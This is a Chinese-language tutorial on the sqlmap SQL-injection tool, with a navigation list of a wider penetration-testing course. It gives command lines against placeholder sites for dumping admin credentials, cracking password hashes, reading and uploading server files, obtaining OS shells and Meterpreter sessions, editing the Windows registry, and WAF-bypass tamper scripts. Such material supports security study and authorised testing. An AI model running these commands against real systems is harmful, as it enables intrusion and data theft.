sqlmap 是滲透常用的注入工具,支持市面上幾乎所有常見的數據庫
## 模式和常用參數
---
### sqlmap支持五種不同的注入模式:
```cmd
基于布爾的盲注:可以根據返回頁面判斷條件真假的注入;
基于時間的盲注:用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷;
基于報錯的注入:頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中;
聯合查詢的注入:可以使用union的情況下的注入;
堆疊查詢的注入:可以同時執行多條語句的執行時的注入。
```
### 常用sqlmap參數:
```cmd
-D 數據庫名? ? -T 數據庫表名? ? ?-C 數據庫列名? ? ?-U 數據庫用戶名
-D 數據庫名 --tables #獲取D數據庫中所有的表名
-D 數據庫名 -T 表名 --columns #獲取D數據庫中T表里所有的列名
-T 表名 -C username,password --dump #下載T表里username,password列的數據內容
-u #-u=--url=URL ,指定url地址,get請求可以在url加上相關參數
-r #指定加載文件 ,適用于所有的請求和https。?流程是抓包、保存到文件、從文件加載HTTP請求;方便跳過設置一些其他參數(cookie,POST等)
-p #指定用url或文件中的哪個參數做注入參數
-m #讀取文件中的url列表以批量測試
--date #post方式傳入參數 --date "id=1&co=5"
--dbs #顯示所有的數據庫
--current-user #獲取當前數據庫用戶
--current-db #獲取網站當前數據庫
--is-dba #判斷當前的用戶是否為管理員
--users #獲取所有數據庫用戶
--level #測試的等級(1-5,默1),數值>=2的時候也會檢查cookie里面的參數,當>=3的時候將檢查User-agent和Referer。
--risk #測試的風險(0-3,默1),1會測試大部分的測試語句,2會增加基于事件的測試語句,3會增加OR語句的SQL注入測試。
--threads #同時執行測試的線程數
--mobile #模擬測試手機環境站點
--batch -smart #不需要人確定,自動填寫yes
--batch -smart #全自動化判斷測試,不需要人確定
--os-shell #獲取系統交互的shell
--tamper "? "? #sqlmap繞過waf,需要加載繞過方式腳本,可多個
--passwords #嘗試解碼出hash密碼原文
-v #輸出信息級別: 0-6 ,
“0”只顯示python錯誤以及嚴重的信息;
1同時顯示基本信息和警告信息(默認);
“2”同時顯示debug信息;
“3”同時顯示注入的payload;
“4”同時顯示HTTP請求;
“5”同時顯示HTTP響應頭;
“6”同時顯示HTTP響應頁面;
如果想看到sqlmap發送的測試payload最好的等級就是3。
--file-read #讀取服務器上指定文件內容 --file-read "C:/example.exe"
--file-write #上傳本地文件 --file-write "c:/1.txt" --file-dest "C:/php/sql.php"
--file-dest #上傳到服務器指定目錄
```
## 一般的SQLMap操作流程:
```cmd
# 1.通過手工檢測的方式,找到合適的注入點
payload:'? #返回錯誤
payload:and 1=1 #返回正常
payload:and 1=2 #返回錯誤
##滿足以上條件即存在注入
# 2.檢查注入點:
sqlmap -u "http://xx.com/" --data "word=1&number=5" --batch?--level3
# 3.爆所有數據庫信息:
sqlmap -u?"http://xx.com/" --data "word=1&number=5"?--batch --dbs
# 4.爆當前數據庫信息,爆當前用戶權限。
sqlmap -u?"http://xx.com/" --data "word=1&number=5"?--batch --current-db --is-dba
# 5.指定庫名列出所有表:
sqlmap -u?"http://xx.com/" --data "word=1&number=5"?--batch -D news --tables
# 6.指定庫名表名列出所有字段:
sqlmap -u?"http://xx.com/" --data "word=1&number=5"?--batch -D news -T admin --column
# 7.指定庫名表名字段dump出指定字段:
sqlmap -u?"http://xx.com/" --data "word=1&number=5"?--batch -D news -T admin -C name,pswd --dump
# 8.加載腳本繞過防火墻
sqlmap -u?"http://xx.com/" --data "word=1&number=5"?--tamper randomcase.py
# 9.爆當前的用戶名稱
sqlmap -u?"http://xx.com/" --data "word=1&number=5"?--current-user
# 10.爆當前用戶密碼
sqlmap -u?"http://xx.com/" --data "word=1&number=5"?--passwods
# 11.連接系統交互shell
sqlmap -u?"http://xx.com/" --data "word=1&number=5"?--os-shell
```
## 常用語句
```cmd
# 基礎檢測語法
sqlmap.py -u http://127.0.0.1/user_info.php?uid=1024
# 批量檢測
sqlmap.py -m target.txt
## 注意target.txt跟sqlmap在同一個目錄下。
# 獲取表中的數據個數
sqlmap.py -u "http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
# 站點爬取
sqlmap.py -u "http://www.secbang.com" --batch --crawl=3
# 使用hex避免字符編碼導致數據丟失
sqlmap.py -u "http://www.secbang.com/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
# 模擬測試手機環境站點
python sqlmap.py -u "http://www.secbang.com/vuln.php?id=1" --mobile
# 智能判斷測試
sqlmap.py -u "http://www.secbang.com/info.php?id=1" --batch --smart
# 結合burpsuite進行注入
sqlmap.py -r burpsuite 抓包.txt
# sqlmap 自動填寫表單注入
sqlmap.py -u URL --forms
# 執行shell命令
sqlmap.py -u "url" --os-cmd="ls" #執行net user命令
sqlmap.py -u "url" --os-shell #系統交互的shell
# 延時注入
sqlmap --dbs -u "url" --delay 0.5 #延時0.5秒*/
sqlmap --dbs -u "url" --safe-freq #請求2次*/
```
## 其他
### 實用技巧
這些選項可用于調整具體的SQL注入測試
```cmd
--technique=TECH SQL注入技術測試(默認BEUST)
--time-sec=TIMESEC DBMS響應的延遲時間(默認為5秒)
--union-cols=UCOLS 定列范圍用于測試UNION查詢注入
--union-char=UCHAR 暴力猜測列的字符數
--union-from=UFROM SQL注入UNION查詢使用的格式
--dns-domain=DNS.. DNS泄露攻擊使用的域名
--second-order=S.. URL搜索產生的結果頁面
```
### 枚舉信息
這些選項可以用來列舉后端數據庫管理系統的信息、表中的結構和數據。此外還可以運行自定義的SQL語句。
```cmd
-a, –all 獲取所有信息
-b, –banner 獲取數據庫管理系統的標識
--current-user 獲取數據庫管理系統當前用戶
--current-db 獲取數據庫管理系統當前數據庫
--hostname 獲取數據庫服務器的主機名稱
--is-dba 檢測DBMS當前用戶是否DBA
--users 枚舉數據庫管理系統用戶
--passwords 枚舉數據庫管理系統用戶密碼哈希
--privileges 枚舉數據庫管理系統用戶的權限
--roles 枚舉數據庫管理系統用戶的角色
--dbs 枚舉數據庫管理系統數據庫
--tables 枚舉的DBMS數據庫中的表
--columns 枚舉DBMS數據庫表列
--schema 枚舉數據庫架構
--count 檢索表的項目數,有時候用戶只想獲取表中的數據個數而不是具體的內容,那么就可以使用這個參數:sqlmap.py -u url –count -D testdb
--dump 轉儲數據庫表項
--dump-all 轉儲數據庫所有表項
--search 搜索列(S),表(S)和/或數據庫名稱(S)
--comments 獲取DBMS注釋
-D DB 要進行枚舉的指定數據庫名
-T TBL DBMS數據庫表枚舉
-C COL DBMS數據庫表列枚舉
-X EXCLUDECOL DBMS數據庫表不進行枚舉
-U USER 用來進行枚舉的數據庫用戶
--exclude-sysdbs 枚舉表時排除系統數據庫
--start=LIMITSTART 獲取第一個查詢輸出數據位置
--stop=LIMITSTOP 獲取最后查詢的輸出數據
--first=FIRSTCHAR 第一個查詢輸出字的字符獲取
--last=LASTCHAR 最后查詢的輸出字字符獲取
--sql-query=QUERY 要執行的SQL語句
--sql-shell 提示交互式SQL的shell
--sql-file=SQLFILE 要執行的SQL文件
```
### 操作系統訪問
這些選項可以用于訪問后端數據庫管理系統的底層操作系統
```cmd
--os-cmd=OSCMD 執行操作系統命令(OSCMD)
--os-shell 交互式的操作系統的shell
--os-pwn 獲取一個OOB shell,meterpreter或VNC
--os-smbrelay 一鍵獲取一個OOBshell,meterpreter或VNC
--os-bof 存儲過程緩沖區溢出利用
--priv-esc 數據庫進程用戶權限提升
--msf-path=MSFPATH MetasploitFramework本地的安裝路徑
--tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑
```
### Windows注冊表訪問
這些選項可以被用來訪問后端數據庫管理系統Windows注冊表
```cmd
--reg-read 讀一個Windows注冊表項值
--reg-add 寫一個Windows注冊表項值數據
--reg-del 刪除Windows注冊表鍵值
--reg-key=REGKEY Windows注冊表鍵
--reg-value=REGVAL Windows注冊表項值
--reg-data=REGDATA Windows注冊表鍵值數據
--reg-type=REGTYPE Windows注冊表項值類型
```
### 優化功能
這些選項可用于優化sqlmap性能
```cmd
-o 打開所有的優化開關
--predict-output 預測普通查詢輸出
--keep-alive 使用持久HTTP(S)連接
--null-connection 獲取頁面長度
--threads=THREADS 當前http(s)最大請求數 (默認 1)
```
### 指定注入
這些選項可用于指定要測試的參數、提供自定義注入有效載荷和可選的篡改腳本。
```cmd
-p TESTPARAMETER 可測試的參數
--skip=SKIP 跳過對給定參數的測試
--skip-static 跳過測試不顯示為動態的參數
--param-exclude=.. 使用正則表達式排除參數進行測試(e.g. “ses”)
--dbms=DBMS 強制后端的DBMS為此值
--dbms-cred=DBMS.. DBMS認證憑證(user:password)
--os=OS 強制后端的DBMS操作系統為這個值
--invalid-bignum 使用大數字使值無效
--invalid-logical 使用邏輯操作使值無效
--invalid-string 使用隨機字符串使值無效
--no-cast 關閉有效載荷鑄造機制
--no-escape 關閉字符串逃逸機制
--prefix=PREFIX 注入payload字符串前綴
--suffix=SUFFIX 注入payload字符串后綴
--tamper=TAMPER 使用給定的腳本篡改注入數據
```
## Tamper功能
```cmd
序號 腳本名稱 注釋
1 0x2char 將每個編碼后的字符轉換為等價表達
2 apostrophemask 單引號替換為Utf8字符
3 apostrophenullencode 替換雙引號為%00%27
4 appendnullbyte 有效代碼后添加%00
5 base64encode 使用base64編碼
6 between 比較符替換為between
7 bluecoat 空格替換為隨機空白字符,等號替換為like
8 chardoubleencode 雙url編碼
9 charencode 將url編碼
10 charunicodeencode 使用unicode編碼
11 charunicodeescape 以指定的payload反向編碼未編碼的字符
12 commalesslimit 改變limit語句的寫法
13 commalessmid 改變mid語句的寫法
14 commentbeforeparentheses 在括號前加內聯注釋
15 concat2concatws 替換CONCAT為CONCAT_WS
16 equaltolike 等號替換為like
17 escapequotes 雙引號替換為\\\\
18 greatest 大于號替換為greatest
19 halfversionedmorekeywords 在每個關鍵字前加注釋
20 htmlencode html編碼所有非字母和數字的字符
21 ifnull2casewhenisnull 改變ifnull語句的寫法
22 ifnull2ifisnull 替換ifnull為if(isnull(A))
23 informationschemacomment 標示符后添加注釋
24 least 替換大于號為least
25 lowercase 全部替換為小寫值
26 modsecurityversioned 空格替換為查詢版本的注釋
27 modsecurityzeroversioned 添加完整的查詢版本的注釋
28 multiplespaces 添加多個空格
29 nonrecursivereplacement 替換預定義的關鍵字
30 overlongutf8 將所有字符轉義為utf8
31 overlongutf8more 以指定的payload轉換所有字符
32 percentage 每個字符前添加%
33 plus2concat 將加號替換為concat函數
34 plus2fnconcat 將加號替換為ODBC函數{fn CONCAT()}
35 randomcase 字符大小寫隨機替換
36 randomcomments /**/分割關鍵字
37 securesphere 添加某字符串
38 sp_password 追加sp_password字符串
39 space2comment 空格替換為/**/
40 space2dash 空格替換為–加隨機字符
41 space2hash 空格替換為#加隨機字符
42 space2morecomment 空格替換為/**_**/
43 space2morehash 空格替換為#加隨機字符及換行符
44 space2mssqlblank 空格替換為其他空符號
45 space2mssqlhash 空格替換為%23%0A
46 space2mysqlblank 空格替換為其他空白符號
47 space2mysqldash 空格替換為–%0A
48 space2plus 空格替換為加號
49 space2randomblank 空格替換為備選字符集中的隨機字符
50 symboliclogical AND和OR替換為&&和||
51 unionalltounion union all select替換為union select
52 unmagicquotes 寬字符繞過GPC
53 uppercase 全部替換為大寫值
54 varnish 添加HTTP頭
55 versionedkeywords 用注釋封裝每個非函數的關鍵字
56 versionedmorekeywords 使用注釋繞過
57 xforwardedfor 添加偽造的HTTP頭
```
- src導航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查詢
- 備案信息查詢
- 信用信息查詢
- IP反查站點的站
- 瀏覽器插件
- 收集子域名信息
- 在線平臺
- 工具枚舉
- ssl與證書透明度
- DNS歷史解析
- DNS域傳送漏洞
- C段探測
- JS文件域名&ip探測
- 搜索引擎&情報社區
- google黑客
- 威脅情報
- 鐘馗之眼
- 收集相關應用信息
- 微信公眾號&微博
- APP收集&反編譯
- 收集常用端口信息
- 常見端口&解析&總結
- 掃描工具
- 網絡空間引擎搜索
- 瀏覽器插件
- nmap掃描
- 收集敏感信息
- 源碼泄露
- 郵箱信息收集
- 備份文件泄露
- 目錄&后臺掃描
- 公網網盤
- 歷史資產
- 指紋&WAF&CDN識別
- 指紋識別
- CDN識別
- 繞過CDN查找真實IP
- WAF識別
- 漏洞資源和社工
- 漏洞公共資源庫
- 社會工程
- 資產梳理
- 各種對滲透有幫助的平臺
- 掃描器
- 掃描器對比
- AppScan(IBM)_web和系統
- AWVS_web掃描
- X-Scan_系統掃描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_綠盟_web
- 安恒明鑒
- Nessus_系統
- nexpose_系統
- 啟明天鏡_web_系統
- SQL注入
- 常用函數
- sql注入步驟
- union注入和information_schema庫
- 函數和報錯注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解決方案
- Access數據庫注入
- MSSQL數據庫注入
- MYSQL數據庫注入
- 神器SQLmap
- xss跨站腳本攻擊
- xss原理和分類
- xss案例和修復
- xss繞過技巧
- xss案例
- 文件上傳下載包含
- 常有用文件路徑
- 文件上傳漏洞
- 文件下載漏洞
- 文件包含漏洞
- upload-labs上傳漏洞練習
- XXE、SSRF、CSRF
- SSRF原理基礎
- SSRF案例實戰
- CSRF原理基礎
- CSRF案例及防范
- XXE之XML_DTD基礎
- XXE之payload與修復
- XXE結合SSRF
- 遠程命令執行與反序列化
- 遠程命令和代碼執行漏洞
- 反序列化漏洞
- 驗證碼與暴力破解
- 爆破與驗證碼原理
- CS架構暴力破解
- BS架構暴力破解
- WEB編輯器漏洞
- 編輯器漏洞基礎
- Ewebeditor編輯器
- FCKeditor編輯器
- 其他編輯器
- web中間件漏洞
- 中間件解析漏洞
- Tomcat常見的漏洞總結
- Jboss漏洞利用總結
- Weblogic漏洞利用總結
- WEB具體步驟
- 旁注和越權
- CDN繞過
- 越權與邏輯漏洞
- WEB應用常見其他漏洞
- WEB登陸頁面滲透思路
- 獲取WEBshell思路
- 社工、釣魚、apt
- 社工和信息收集
- 域名欺騙
- 釣魚郵件
- 一些釣魚用的掛馬工具
- 代碼審計
- 代碼審計工具
- WAF繞過
- WAF基礎及云WAF
- 各種WAF繞過方法
- 繞過WAF上傳文件
- 系統提權
- windows系統提權
- linux系統提權
- 數據庫提權操作系統
- 內網橫向滲透
- 內網穿透方式
- 一些內網第三方應用提權
- ARP與DOS
- ARP欺騙
- DOS與DDOS
- 一些DOS工具